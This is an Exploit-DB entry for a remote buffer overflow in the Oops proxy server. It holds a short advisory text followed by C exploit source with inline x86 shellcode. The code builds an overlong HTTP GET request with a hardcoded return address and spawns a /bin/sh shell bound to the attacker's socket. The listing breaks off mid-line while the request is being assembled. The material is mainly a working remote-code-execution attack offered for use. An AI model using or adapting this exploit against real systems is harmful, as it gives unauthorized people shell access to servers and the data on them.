Exploit-DB #20496
Description: Oops Proxy Server 1.4.22 - Remote Buffer Overflow (2)
Type: remote
Platform: linux
Date: 2000-12-07
Author: diman

Exploit:
// source: https://www.securityfocus.com/bid/2099/info
 
Oops is a freely available proxy server package, written by Igor Khasilev. A problem exists in the package which could allow for the arbitrary execution of code.
 
Multiple buffer overflows exist in this product. In one instance, it is possible to make a request with numerous quotation marks (") in the request, which are later translated to the html tag """. The translation of this character makes it possible to overflow and potentially execute code on the stack. This makes it possible for a malicious user to execute code with the privileges of the user the proxy server is operating as.
 
The secondary problem involves a buffer overflow in the DNS resolution code. It is possible to create a stack based overflow by forcing the proxy to attempt to resolve a long host/domain name. This makes it possible to overwrite variables on the stack, and potentially execute arbitrary code. It is possible for a malicious user to exploit this problem and execute commands with the privileges inherited by the proxy server process. 

/*--oopz.c---//-------------r-3-m-0-t-3---------------\\-------------*

 TARGET :       oops-1.4.6 (one russi4n proxy-server)
 CLASS  :       remote
 0S     :       FreeBSD 4.(0 - 2)
 AUTH0R :       diman
 VEND0R :       wanna payment for support. I'm not doing his job, yeh?
 DATE   :       7-11-2k
 N0TE   :       xploit was coded for fun only.
 GREETS :       &y, fm, JU$ (all for be a gOod guys)
*/

#define BUFADDR         0xbfafe55f      // ret
#define OFFSET2         450             // second copy
#define RETOFF          1363            // ip offset

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>

/*
   I found two offsets where our shellcode can be placed.
   Since ret value is hardcoded, we should use two copies
   of shellcode. But last part of the second copy can be
   corrupted during procedure processing. Solution is to
   check current offset of the shellcode and jump from
   second copy to the first one. Something like v1r11 :)
   Also we avoids large letters in the shellcode
   and some other characters. We simple dup2(33,0) before
   execve, so be sure you are only connected if you don't
   wanna provide sh3ll for someone else =)   Enough...
*/


int
shellcode(char* buf) {
__asm__("
        call    ne0;
ne0:    popl    %eax;
        nop;
        nop;
        LEN1 = sh - ne0 ;
        leal    LEN1(%eax),%eax;
        pushl   %eax;
        pushl   8(%ebp);
        call    strcpy;
        addl    $8,%esp;
        jmp     done;


//-----s-h-e-l-l-c-o-d-e---s-t-a-r-t-s---h-e-r-e--------//

sh:     .fill 6,1,0x90;         // magic nops
        jmp     me;
retme:  popl    %esi;
        nop;
        movl    %esi,%eax;
        DELTA = huh - sh - 450;
        negl    %eax;
        leal    DELTA(%eax),%eax;
        negl    %eax;
        movl    (%eax),%ebx;
        cmpl    $0x90909090,%ebx;
        je      huh;            // we are in the first copy yet
        movl    %esi,%eax;      // jump to first copy
        leal    -450(%eax),%eax;
        jmp     *%eax;
me:     call    retme;
        
huh:    .fill   5,1,0x90;       
        jmp     call0;          // just one more (we not shure where we are)
ret0:   popl    %esi;
        movl    (%esi),%ebx;    // decrypt /bin/sh
        subl    $0x30303030,%ebx;
        movl    %ebx,(%esi);
        movl    4(%esi),%ebx;
        subl    $0x30303030,%ebx;
        movl    %ebx,4(%esi);
        xorl    %eax,%eax;
        movl    %esi,%edi;
        negl    %edi;
        leal    -7(%edi),%edi;
        negl    %edi;
        movb    %al,(%edi);     // end it with 0
        jmp     prep;

call0:  call    ret0;   
        .byte   0x5f,0x92,0x99,0x9e,0x5f,0xa3,0x98,0xee,0x03; /* /bin/sh */

dup2:   leal    -4(%esp),%esp;
        movl    %ecx,(%esp);
        leal    -4(%esp),%esp;
        movl    $-33,%eax;
        negl    %eax;
        movl    %eax,(%esp);
        movl    $-0x5a,%eax;
        negl    %eax;
        leal    -4(%esp),%esp;  
        int     $0x80;
        negl    %esp;
        leal    -0xc(%esp),%esp;
        negl    %esp;
        ret;

prep:   xorl    %ecx,%ecx;
        call    dup2;
        movb    $1,%cl;
        call    dup2;
        movb    $2,%cl;
        call    dup2;

        xorl    %eax,%eax;
        leal    -4(%esp),%esp;
        movl    %eax,(%esp);    // 0
        leal    -4(%esp),%esp;  
        movl    %esi,(%esp);    // name
        movl    %esp,%edi;
        leal    -4(%esp),%esp;  
        movl    %eax,(%esp);    // envp
        leal    -4(%esp),%esp;  
        movl    %edi,(%esp);    // av[]
        leal    -4(%esp),%esp;
        movl    %esi,(%esp);    // name
        movb    $0x3b,%al;      // execve
        leal    -4(%esp),%esp;
        int     $0x80;
        xorl    %eax,%eax;
        movl    %eax,(%esp);
        movl    %eax,%ebx;
        movb    $1,%al;         // exit
        leal    -4(%esp),%esp;
        int     $0x80;
        nop;                    // hip
        nop;                    // hop
        .byte   0x00;
done:;
");
}


int res(char*,struct sockaddr_in *);
void spawned_shell(int sock);


main(int ac, char** av){
#define SZ      0x2000
#define FIL     0xbf
        char buf[SZ],buf2[SZ],*pc,c;
        int i,sock;
        struct sockaddr_in sin;         
        short port=3128;
        unsigned *pu;
        memset(buf,FIL,SZ);
        shellcode(buf);
        buf[strlen(buf)]=FIL;
        pc=&buf[OFFSET2];
        shellcode(pc);
        pc+=strlen(pc);
        *pc=FIL;
        pu=(unsigned*)&buf[RETOFF];
        *pu=BUFADDR;
        buf[RETOFF+4]=0;
        strcpy(buf2,"GET http://p");
        strcat(buf2,buf);
        strcat(buf2," HTTP/1